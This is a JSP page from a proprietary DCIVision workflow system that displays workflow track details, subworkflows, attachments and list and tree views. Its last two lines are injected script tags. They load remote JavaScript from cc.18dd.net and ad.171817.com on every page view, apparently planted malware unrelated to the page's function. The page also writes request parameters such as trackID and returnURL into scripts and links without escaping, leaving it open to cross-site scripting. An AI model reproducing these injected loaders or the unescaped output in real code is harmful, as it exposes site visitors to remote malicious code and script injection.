<%
/*
 * @(#)EditWorkflowMonitoring.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditWorkflowMonitoring.jsp

  This class is reflecting business logic uses.

    @author           Angus Shiu
    @company          DCIVision Limited
    @creation date    30/07/2003
    @version          $Revision: 1.43.4.8 $
*/
%>

<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ taglib uri="/tags/wfm" prefix="wfm" %>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.workflow.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.workflow.web.*"%>
<%@ page import="com.dcivision.workflow.dao.*"%>
<%@ page import="com.dcivision.workflow.core.*"%>
<%@ page import="com.dcivision.form.dao.*"%>
<%@ page import="com.dcivision.form.bean.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.dms.dao.*"%>
<%@page import="org.quartz.JobDataMap"%>
<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintWorkflowRecordForm" scope="request" class="com.dcivision.workflow.web.MaintWorkflowRecordForm"/>

<script language="Javascript">
<!--
function hideBlock(b) {
    FindObj(b).style.display = "none";
}

function showBlock(b) {
    FindObj(b).style.display = "block";
}

function toggleBlock(b) {
    if(FindObj(b).style.display == "block" || FindObj(b).style.display == "") {
      hideBlock(b);
    } else {
      showBlock(b);
    }
}
function adjustIFrameSize (iframeWindow) {
  if (iframeWindow.document.height) {
    var iframeElement = parent.document.getElementById(iframeWindow.name);
    if(iframeElement){
    iframeElement.style.height = iframeWindow.document.height + 'px';
  	}
  }else if (document.all) {
    var iframeElement = parent.document.all[iframeWindow.name];
    if(iframeElement){
    if (iframeWindow.document.compatMode &&
        iframeWindow.document.compatMode != 'BackCompat'){
      iframeElement.style.height =iframeWindow.document.documentElement.scrollHeight + 5 + 'px';
    } else {
       if (iframeElement && iframeWindow.document.body.scrollHeight){
  iframeElement.style.height = iframeWindow.document.body.scrollHeight + 5 + 'px';
       }
    }
  }
  }
}

function CusOpInterrupt(){
  var sOptions = 'status=no,menubar=no,scrollbars=yes,resizable=yes,toolbar=no';
  var width = 800;
  var height = 600;
  var frm;
  for (var i = 0; i < document.forms.length; i++) {
    if (document.forms[i].name != "") {
      frm = document.forms[i];
      break;
    }
  }
  var sPopupPath = "<%= request.getContextPath() %>/workflow/ListWorkflowStep.do?fromType=L&SHOW_HEADER_FOOTER=N&workflowRecordID=<%=maintWorkflowRecordForm.getID()%>&trackID=<%=request.getParameter("trackID")%>&workflowTrackID=<%=request.getParameter("trackID")%>&ID=&workflowStepID=";
  OpenCenteredPopup(sPopupPath, "DCIVisionInterruptWorkflowSelect", width, height, sOptions);
}

function OpRefresh(){
  parentURL = window.document.location.href;
  window.document.location = parentURL;
}

-->
</script>
<%
  String ACTION_MODE = null;
  String workflowRecordID = maintWorkflowRecordForm.getID();
%>
<html:form action="workflow/MaintWorkflowMonitoring" styleClass="form-style-2">
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

   ACTION_MODE = (String)request.getAttribute(GlobalConstant.ACTION_MODE);
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/

  Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  PermissionManager permissionManager = sessionContainer.getPermissionManager();
  DmsDocumentDAObject dmsDocumentDAO = new DmsDocumentDAObject(sessionContainer, conn);
  FormSubmissionDAObject formSubmissionDAO = new FormSubmissionDAObject(sessionContainer, conn);
  DmsVersionDAObject dmsVersionDAO = new DmsVersionDAObject(sessionContainer, conn);
  String navMode = request.getParameter("navMode");
  List subworkflowList = (List) request.getAttribute("subworkflowList");
  Integer DMS_PERSONAL_FOLDER = new Integer("6001");
  Integer DMS_PUBLIC_FOLDER = new Integer("6002");

  String returnURL="";
  if (Utility.isEmpty(request.getParameter("returnURL"))) { 
     if("-".equals(request.getParameter("workflowGroupID"))){    
	   returnURL="ListWorkflowMonitoring.do?workflowGroupID="+request.getAttribute("workflowGroupID")+"&opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
     }else{
       returnURL="ListWorkflowMonitoring.do?workflowGroupID="+(request.getParameter("workflowGroupID")==null?"":request.getParameter("workflowGroupID"))+"&opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
     }
 } else { 
   returnURL=request.getParameter("returnURL");
 } 
%>
<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property='status'/>



<layout:tabContainer id="tab1">
 <layout:returnButton className="btn-standard" returnURL="<%=returnURL%>"/>
 <layout:tabBar>
        <layout:tabPane id="basicTab" title="common.label.tab_basic" selected="true"/> 
        <layout:tabPane id="workflowListTab" title="workflow.label.list_view"/>
		<layout:tabPane id="workflowTreeTab" title="workflow.label.flow_chart_view"/>
    </layout:tabBar>

<!-- Basic Tab DIV -->
<div id="basicTab" class="tabContent">
<table width="100%">
  <!-- Section Header -->
  <layout:sectionHeader name="workflow.label.workflow_track_information" colspan="4"/>
  <tr>
    <td class="formLabelSmall"><bean:message key='workflow.label.track_id'/>:&nbsp;</td>
    <td class="formFieldSmall" width="630" colspan="2"><% Integer trackID = TextUtility.parseIntegerObj(request.getParameter("trackID"));%><%=TextUtility.formatNumberWithZeroPrefix(SystemParameterFactory.getSystemParameterInteger(SystemParameterConstant.WORKLFLOW_TRACK_ID_FORMAT_LENGTH).intValue(), trackID)%></td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='workflow.label.workflow_code'/>:&nbsp;</td>
    <td class="formFieldSmall" width="630" colspan="2"><html:text property='workflowCode' textOnly='true' size='5' maxlength='10'/></td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='workflow.label.workflow_version'/>:&nbsp;</td>
    <td class="formFieldSmall" width="630" colspan="2"><html:text property='workflowVersion' textOnly='true' size='5' maxlength='10'/></td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='workflow.label.description'/>:&nbsp;</td>
    <td class="formFieldSmall" width="630" colspan="2"><html:text property='description' textOnly='true' size='5' maxlength='10'/></td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='workflow.label.category'/>:&nbsp;</td>
    <td class="formFieldSmall" width="630" colspan="2"><html:select textOnly='true' property='workflowCategoryID'>
      <html:options dbListName='<%=OptionsListConstant.DBLIST_WORKFLOW_CATEGORY%>'/>
    </html:select></td>
  </tr>
  <tr>
    <td class="formLabelSmallMan"><bean:message key='workflow.label.effective_period'/>:&nbsp;</td>
    <td class="formFieldSmall" width="630" colspan="2"><html:datepicker textOnly='true' property='startDate'/>
    <bean:message key='common.label.period_to'/>
    <html:datepicker textOnly='true' property='endDate'/></td>
  </tr>
  <% if (subworkflowList.size() > 0) { %>
  <tr>
    <td class="formLabelSmall"><bean:message key='workflow.label.related_subworkflow'/>:&nbsp;</td>
    <td class="formFieldSmall" width="630" colspan="2">
      <% for (int i=0; i<subworkflowList.size(); i++) {
          MtmWorkflowChildParentProgress tmp = (MtmWorkflowChildParentProgress) subworkflowList.get(i);
      %>
      <nobr>
        <html:img src='IconWorkflowRelated.gif' />
      <%    // falcon_add_start_EIP-141
        WorkflowProgress fullProgress = null;
        WorkflowProgress pendingProgress = null;
        MtmWorkflowChildParentProgressDAObject childParentProgressDAO = new MtmWorkflowChildParentProgressDAObject(sessionContainer, (Connection)request.getAttribute(GlobalConstant.DB_KEY));
        WorkflowProgressDAObject progressDAO = new WorkflowProgressDAObject(sessionContainer, (Connection)request.getAttribute(GlobalConstant.DB_KEY));
         if (!Utility.isEmpty(request.getParameter("workflowProgressID"))) {
          List childParentList = childParentProgressDAO.getListByParentWorkflowProgressID(new Integer(request.getParameter("workflowProgressID")));
           if (!Utility.isEmpty(childParentList)) {
            for (int k = 0; k < childParentList.size(); k++) {
             MtmWorkflowChildParentProgress curChildParentProgress = (MtmWorkflowChildParentProgress) childParentList.get(k);
             List fullProgressList = progressDAO.getListByTrackID(curChildParentProgress.getSubworkflowTrackID());
             if (!Utility.isEmpty(fullProgressList)) {
               for (int m = 0; m < fullProgressList.size(); m++ ) {
                  fullProgress = (WorkflowProgress) fullProgressList.get(m);
                  if(!WorkflowStep.ACTION_TYPE_SUBMIT.equals(fullProgress.getActionType())) {
                        pendingProgress = (WorkflowProgress)fullProgressList.get(m);
                   }
               }
             }}}}
        %>
        <%if(!Utility.isEmpty(fullProgress) && !Utility.isEmpty(pendingProgress) && !WorkflowStep.ACTION_TYPE_SUBMIT.equals(fullProgress.getActionType())) {%>
          <a href='MaintWorkflowMonitoring.do?showFullList=<%= GlobalConstant.TRUE.equals(request.getParameter("showFullList")) ? GlobalConstant.TRUE : GlobalConstant.FALSE %>&navMode=V&trackID=<%=tmp.getSubworkflowTrackID()%>&ID=<%=tmp.getSubworkflowRecordID()%>&workflowGroupID=<%=request.getParameter("workflowGroupID")%>&listView=<%= GlobalConstant.TRUE.equals(request.getParameter("listView")) ? "Y" : "N" %>&returnURL=<%=java.net.URLEncoder.encode(request.getRequestURL() +"?"+  request.getQueryString())%>&workflowProgressID=<%=pendingProgress.getID().toString()%>'><%=TextUtility.formatNumberWithZeroPrefix(SystemParameterFactory.getSystemParameterInteger(SystemParameterConstant.WORKLFLOW_TRACK_ID_FORMAT_LENGTH).intValue(), tmp.getSubworkflowTrackID() )%></a>
        <%}else{%>
          <a href='MaintWorkflowMonitoring.do?showFullList=<%= GlobalConstant.TRUE.equals(request.getParameter("showFullList")) ? GlobalConstant.TRUE : GlobalConstant.FALSE %>&navMode=V&trackID=<%=tmp.getSubworkflowTrackID()%>&ID=<%=tmp.getSubworkflowRecordID()%>&workflowGroupID=<%=request.getParameter("workflowGroupID")%>&listView=<%= GlobalConstant.TRUE.equals(request.getParameter("listView")) ? "Y" : "N" %>&returnURL=<%=java.net.URLEncoder.encode(request.getRequestURL() +"?"+  request.getQueryString())%>&workflowProgressID=<%=request.getParameter("workflowProgressID")%>'><%=TextUtility.formatNumberWithZeroPrefix(SystemParameterFactory.getSystemParameterInteger(SystemParameterConstant.WORKLFLOW_TRACK_ID_FORMAT_LENGTH).intValue(), tmp.getSubworkflowTrackID() )%></a>
        <%}%>
        <html:img src="LayoutSpacer.gif"  width="20" height="1"/>
      </nobr>
      <% } %>
    </td>
  </tr>
  <% } %>
  <tr>
    <td class="formLabelSmall"><bean:message key="workflow.label.supporting_document"/>:&nbsp;</td>
    <td class="formFieldSmall" width="630" colspan="2">
    <%
      SysFunction sysFunction = applicationContainer.getSysFunctionByFunctionCode(SystemFunctionConstant.DMS);
      List attachmentList = (List)request.getAttribute("attachmentList");
      for (int i=0; i<attachmentList.size(); i++) {
        WorkflowProgressAttachment attachment = (WorkflowProgressAttachment)attachmentList.get(i);

        if(WorkflowProgressAttachment.ATTACHED_DMS_VERSION_SYSTEM_ID.equals(attachment.getAttachmentType()) ){
          String versionID = attachment.getExternalID();
          DmsVersion dmsVersion = (DmsVersion)dmsVersionDAO.getObjectByID(new Integer(versionID));
          Integer dmsDocumentID = dmsVersion.getDocumentID();
          DmsDocument dmsDocument = (DmsDocument)dmsDocumentDAO.getObjectByID(dmsDocumentID);
          String permission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, dmsDocument.getParentID());
          //DmsRoot dmsRoot = (DmsRoot)dmsRootDAO.getObjectByID(dmsDocument.getRootID());

        %>
        <dms:documentInfo docObject='<%=dmsDocument%>' permission='<%=permission%>' inviteToRead = 'true' version='<%=versionID%>' linkFlag='false'/>
        <%
        } else if (!Utility.isEmpty(attachment.getExternalID())) {
        %>
        <a href="GetWorkflowProgressAttachmentServlet?ID=<%=attachment.getID()%>" target="_blank"><html:img src='IconFile.gif'  align='absmiddle' alt='<%= MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.view_attachment", Integer.toString(i) ) %>'/><%=attachment.getAttachmentName()%></a>
        <%
        }
      }
    if (attachmentList.size()>0 && sysFunction!=null && GlobalConstant.STATUS_ACTIVE.equals(sysFunction.getStatus()) ){
        String permissionStr = permissionManager.getPermission(GlobalConstant.OBJECT_TYPE_FUNCTION,DMS_PERSONAL_FOLDER);
        permissionStr += permissionManager.getPermission(GlobalConstant.OBJECT_TYPE_FUNCTION,DMS_PUBLIC_FOLDER);
        if(!Utility.isEmpty(permissionStr) && permissionStr.indexOf("R") > -1 ){
    %><nobr><input type="checkbox" name="showIndexFlag" value="Y" checked><bean:message key='dms.label.show_index'/></nobr><%}}%>
    </td>
  </tr>

<%
  WorkflowRecordDAObject recordDAO = new WorkflowRecordDAObject(sessionContainer, (Connection)request.getAttribute(GlobalConstant.DB_KEY));
  WorkflowRecord workflowRecord = (WorkflowRecord) recordDAO.getObjectByID(new Integer(workflowRecordID));
  String categoryID = workflowRecord.getWorkflowCategoryID().toString();
  WorkflowProgressDAObject progressDAO = new WorkflowProgressDAObject(sessionContainer, (Connection)request.getAttribute(GlobalConstant.DB_KEY));
  WorkflowProgress workflowProgress = (WorkflowProgress)progressDAO.getObjectByID(new Integer(request.getParameter("workflowProgressID")));
%>
  <tr>
    <td class="formLabelSmall"><bean:message key='workflow.label.related_to_object'/>:&nbsp;</td>
    <td  class="formFieldSmall" width="240" >
    <wfm:relatedObjectInfo trackID="<%=trackID%>" workflowProgress="<%=workflowProgress%>" relatedItem="false" styleClass="formFieldSmall" navMode="V" hasIframe="true"/>
    </td>
    <%
    com.dcivision.form.bean.FormSubmission formSubmission = null;
    com.dcivision.form.bean.FormRecord formRecord = null;
    if (SystemWorkflowConstant.FMB_SUBMISSION_BY_FORM.equals(categoryID)) {
       /**
        * @TODO to get the MtmWorkflowProgressSystemObject by TrackID & ObjectID
        **/
       List objectList = formSubmissionDAO.getHasPermissionListByTrackIDWorkflowStepID(new Integer(request.getParameter("trackID")), workflowProgress.getWorkflowStepID());

       if (!Utility.isEmpty(objectList)) {
         formSubmission = (FormSubmission)objectList.get(0);
       }

       com.dcivision.form.dao.FormRecordDAObject formDAO = new com.dcivision.form.dao.FormRecordDAObject(sessionContainer, (Connection)request.getAttribute(GlobalConstant.DB_KEY));
       if(!Utility.isEmpty(formSubmission)){
         formRecord = (com.dcivision.form.bean.FormRecord)formDAO.getObjectByID(formSubmission.getFormRecordID());
       }
    }
    %>
    <td class="formFieldSmall" width="390">
    <%if (SystemWorkflowConstant.FMB_SUBMISSION_BY_FORM.equals(categoryID) && (!Utility.isEmpty(formRecord) && Utility.isEmpty(formRecord.getFormDocID()))) {%>
      <span id="divFormSubmissionShow">
       [<a href="" onclick="showBlock('divFormSubmissionHide'); hideBlock('divFormSubmissionShow'); toggleBlock('formSubmission');return false" ><bean:message key ='calendar.label.hide'/></a>]
      </span>
      <span id="divFormSubmissionHide">
       [<a href="" onclick="hideBlock('divFormSubmissionHide'); showBlock('divFormSubmissionShow'); toggleBlock('formSubmission');return false" ><bean:message key ='calendar.label.show'/></a>]
        <script language="Javascript">
      </script>
     </span>
    <%}%>
    </td>
  </tr>
 <% if (SystemWorkflowConstant.FMB_SUBMISSION_BY_FORM.equals(categoryID) && (!Utility.isEmpty(formRecord) && Utility.isEmpty(formRecord.getFormDocID()))) {%>
  <tr ><td colspan="3">
   <div id="formSubmission">
   <%
     String url = request.getContextPath()+"/form/MaintFormSubmission.do?navMode=V&formRecordID="+formSubmission.getFormRecordID()+"&formSubmissionID="+formSubmission.getID()+"&function=WORKFLOW&workflowProgressID="+request.getParameter("workflowProgressID")+"&workflowStepID="+ workflowProgress.getWorkflowStepID()+"&isWorkflowViewFlag=Y&SHOW_HEADER_FOOTER=N&isViewTask=Y&hideTitle=Y"+"&isShowIframeLoading=N";

   %>
   <iframe name="iframeName" id="iframeName" src="<%=url%>" width="100%" height="325" frameborder="0" marginwidth="0" marginheight="0"  align="middle"  >
   <a href="<%=url%>"></a></iframe>
   <script language="Javascript">
   <!--
      hideBlock("divFormSubmissionHide");
      showBlock("divFormSubmissionShow");
   -->
   </script>
    </div>
  </td>
 </tr>
 <%}%>


  <tr>
    <td colspan="3" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>
  </table>
  </div>
  <!-- basic tab end -->

  <!-- show workflow list -->
  <div id="workflowListTab" class="tabContent">
  <table width="100%">
  <tr><td>
      <jsp:include page="ShowWorkflowList.jsp">
      <jsp:param name="workflowRecordID" value="<%=workflowRecordID%>"/>
      </jsp:include>   
    </td>
  </tr>
</table>
</div>
<!-- show List View End -->

<!-- show workflow tree -->
<div id="workflowTreeTab" class="tabContent">
  <table width="100%">
  <tr><td>
      <jsp:include page="ShowWorkflowTree.jsp">
      <jsp:param name="workflowRecordID" value="<%=workflowRecordID%>"/>
      </jsp:include>
  </td></tr>
  </table>
</div>
  <!-- End show workflow tree Tab DIV-->

</layout:tabContainer>

<div id="bottomButtonArea">
    <div id="buttonSection">
  <% if (maintWorkflowRecordForm.isInterruptAble()) {
  %>
    <html:standardButton label="common.permission.label_J" onClick="return CusOpInterrupt()"/>
  <%}%>
</div>
</div>
</html:form>
<!--new document invitation-->
<div  id="NewDocumentInvitation" style="position:absolute;display:none;overflow=none;z-index:801;top:20px; background-color:white; left:100px;">
</div>
<script language='javascript'>
<!--
  function CancelDim(){
    var invtee = document.getElementById("NewDocumentInvitation");
    invtee.style.display="none";
    loadingStop();
  }

//-->
</script>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>